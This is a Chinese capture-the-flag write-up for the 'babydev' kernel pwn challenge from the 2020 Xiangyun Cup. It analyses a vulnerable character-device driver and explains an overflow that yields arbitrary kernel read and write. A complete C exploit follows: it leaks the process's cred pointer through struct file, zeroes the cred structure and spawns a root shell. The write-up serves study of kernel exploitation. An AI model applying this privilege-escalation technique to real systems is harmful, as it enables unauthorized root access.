祥云杯2020 babydev(内核PWN) 详解

祥云杯2020 babydev(Kernel PWN)

start.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu - system - x86_64 \
- m 256M \
- kernel bzImage \
- initrd core.cpio \
- append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
- cpu qemu64, + smep, + smap \
- nographic \
- monitor / dev / null \
- gdb tcp:: 1234

没有开kaslr、开启smep和smap,不能ret2usr。

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh
 
mount - t proc none / proc
mount - t sysfs none / sys
mount - t devtmpfs devtmpfs / dev
chown root:root flag
chmod 400 flag
exec 0 < / dev / console
exec 1 > / dev / console
exec 2 > / dev / console
 
insmod mychrdev.ko
chmod 777 / dev / mychrdev
echo - e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
poweroff - d 0  - f

file结构体

https://elixir.bootlin.com/linux/latest/source/include/linux/fs.h#L921

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct file {
     union {
         struct llist_node    fu_llist;
         struct rcu_head     fu_rcuhead;
     } f_u;
     struct path        f_path;
     struct inode        * f_inode;    / * cached value * /
     const struct file_operations    * f_op;
 
     / *
      * Protects f_ep_links, f_flags.
      * Must not be taken from IRQ context.
      * /
     spinlock_t        f_lock;
     enum rw_hint        f_write_hint;
     atomic_long_t        f_count;
     unsigned int         f_flags;
     fmode_t            f_mode;
     struct mutex        f_pos_lock;
     loff_t            f_pos;                        / /  偏移 0x68
     struct fown_struct    f_owner;
     const struct cred    * f_cred;                / /    这里指向当前进程的cred结构体,偏移 0x90
     struct file_ra_state    f_ra;
 
     u64            f_version;
#ifdef CONFIG_SECURITY
     void            * f_security;
#endif
     / * needed for tty driver, and maybe others * /
     void            * private_data;
 
#ifdef CONFIG_EPOLL
     / * Used by fs / eventpoll.c to link all the hooks to this file * /
     struct list_head    f_ep_links;
     struct list_head    f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */
     struct address_space    * f_mapping;
     errseq_t        f_wb_err;
     errseq_t        f_sb_err; / * for syncfs * /
} __randomize_layout
   __attribute__((aligned( 4 )));    / * lest something weird decides that 2 is OK * /

fown_struct 结构体

1
2
3
4
5
6
7
struct fown_struct {
     rwlock_t lock;          / * protects pid, uid, euid fields * / / / unsigned int = 4 ?
     struct pid * pid;    / * pid or - pgrp where SIGIO should be sent * / / / 8
     enum pid_type pid_type;    / * Kind of process group SIGIO should be sent to * / / / 4
     kuid_t uid, euid;    / * uid / euid of process setting the owner * /  / / unsigned int * 2 = 4 * 2
     int signum;        / * posix. 1b rt signal to be delivered on IO * / / / int 4
};

mychrdev.ko

open

write

write每向 llseek + *(mydata+0x10000) + mydata 进行写操作,内容为用户空间传过去的值。同时 *(mydata + 0x10008) 处的值增大。

 

 

unlock_inctl

可以拷贝对应的 struct file 结构体 0xc8 位置的指针指向的内容(前0x28字节)到用户空间。

 

mychrdev_read

在满足条件的情况下将内核空间 llseek + have_use + mydata 处的内容传给用户空间。

 

mychrdev_llseek

llseek用来同过设置 file->f_ops 设置 write()read() 读写的位置。

 

漏洞分析与利用

1.控制地址写的位置的主要是:file->f_pos(以下简称llseek)、以及 *(mydata+0x10000) 处存储的值。

 

2.通过多次的 write 配合 lseek,可以实现将 (mydata+0x10008) 一直增大,配合lseek,触发在write 函数中的一个溢出,可以实现对于 (mydata+0x10000) 和 *(mydata+0x10008) 这两个关键位置的劫持。

 

 

3.劫持 (mydata+0x10000) 和 (mydata+0x10008) 后,配合read函数进行任意地址读,爆破 file 结构体的地址,读取0x98大小,最后8个字节即为 file->f_cred 指向当前进程的 cred 结构体。

 

4.通过计算偏移,重新设置 lseek 和 *(mydata+0x10000) ,配合write函数做任意地址写,目标地址为我们爆破出的 cred 结构体的地址。

 

5.将当前进程的cred结构体前0x28写成全0,达到提权的目的。

 

效果:

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/fs.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
size_t user_cs, user_ss, user_rflags, user_sp;  / / 保存用户态寄存器状态
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
void save_status()
{
     __asm__( "mov user_cs, cs;"
             "mov user_ss, ss;"
             "mov user_sp, rsp;"
             "pushf;"
             "pop user_rflags;"
             );
}
int main(){
     int fd;
     size_t buf[ 0x10 ] = { 0 };
     size_t buf2[ 8192 + 2 ] = { 0 };
     size_t store = 0 ;
     buf2[ 8192 ] = 0xffffffffffffffff ;
     size_t buf3[ 0x10 ] = { 0 };
     buf3[ 0 ] = 0x6262626262626262 ;
     size_t buf4[ 0x100 ] = { 0 };
 
     / / printf( "addr:%p\n" ,&buf);
     int size;
     fd = open ( "dev/mychrdev" ,O_RDWR);
     puts("");
     puts( "come to write!" );
 
     ioctl(fd, 0x1111 ,&buf);
     for ( int i = 0 ;i< 5 ;i + + ){
         printf( "0x%llx\n" ,buf[i]);
     }
     / / 不停的扩大 mydata + 0x10008 的值
     write(fd,buf2, 0x10000 );
     lseek(fd, - 0x10000 ,SEEK_CUR);
     write(fd,buf2, 0x10000 );             / / 0x0000000000000000      0x0000000000010008
     lseek(fd, - 0x10000 ,SEEK_CUR);
     write(fd,buf2, 0x10000 );
     lseek(fd, - 0x10000 ,SEEK_CUR);
     / / 0x30000
 
     lseek(fd, 0x10001 ,SEEK_SET);     / / 溢出 ,写 0x6161616161616161
    / / buf2[ 0 ] = 0x0000000000000000 ;
     buf2[ 0 ] = - 0x6d6 ;
     / / buf2[ 0 ] = - 0x7d8 ;       / / 0x280
     buf2[ 1 ] = 0x111111111111 ;
     / / size_t full = 0xffffffffffffffff ;
     write(fd,buf2, 0x10 );     / / 任意写 mydata + 0x10000 和 mydata + 0x10008 处的值
 
     / / lseek(fd, 0 ,SEEK_SET);
     / / sleep( 1 );
     read(fd,buf4, 0x98 );
     / / sleep( 1 );
     printf( "read:0x%lx\n" ,buf4[ 18 ]); / / 爆破一个字节,读出cred结构体的位置
     size_t cred_addr = buf4[ 18 ];
 
 
     lseek(fd, 0x5d568 ,SEEK_CUR);      
     size_t cred_offset = 0 ;
     size_t fuck[ 5 ] = { 0 };
     fuck[ 0 ] = (size_t)(cred_addr - 0xffff88800db40000 );
     fuck[ 1 ] = 0x111111111111 ;
     write(fd,fuck, 0x10 );
     lseek(fd, - 0x80000 ,SEEK_CUR);        / / lseek 归零,为任意写做准备
 
     size_t fuck_cred[ 0x10 ] = { 0 };
     cred_offset = cred_addr - 0xffff88800dbc0000 ;
 
     puts( "[*]fuck cred" );
     write(fd,fuck_cred, 0x28 );                             / / 任意写,fuck cred
     puts( "[*]done" );
     system( "echo \"root shell\" && /bin/sh" );
/ / 0xffffffffc0000000
/ / 0xffffffff81000000
/ / .text: 0000000000000145                 mov     rdx, cs:mydata
/ / mydata: 0xffff88800db40000
/ / 0xffffffffc00002a7
/ / struct file 0xffff88800daf3a00
 
}


更多【祥云杯2020 babydev(内核PWN) 详解】相关视频教程:www.yxfzedu.com


评论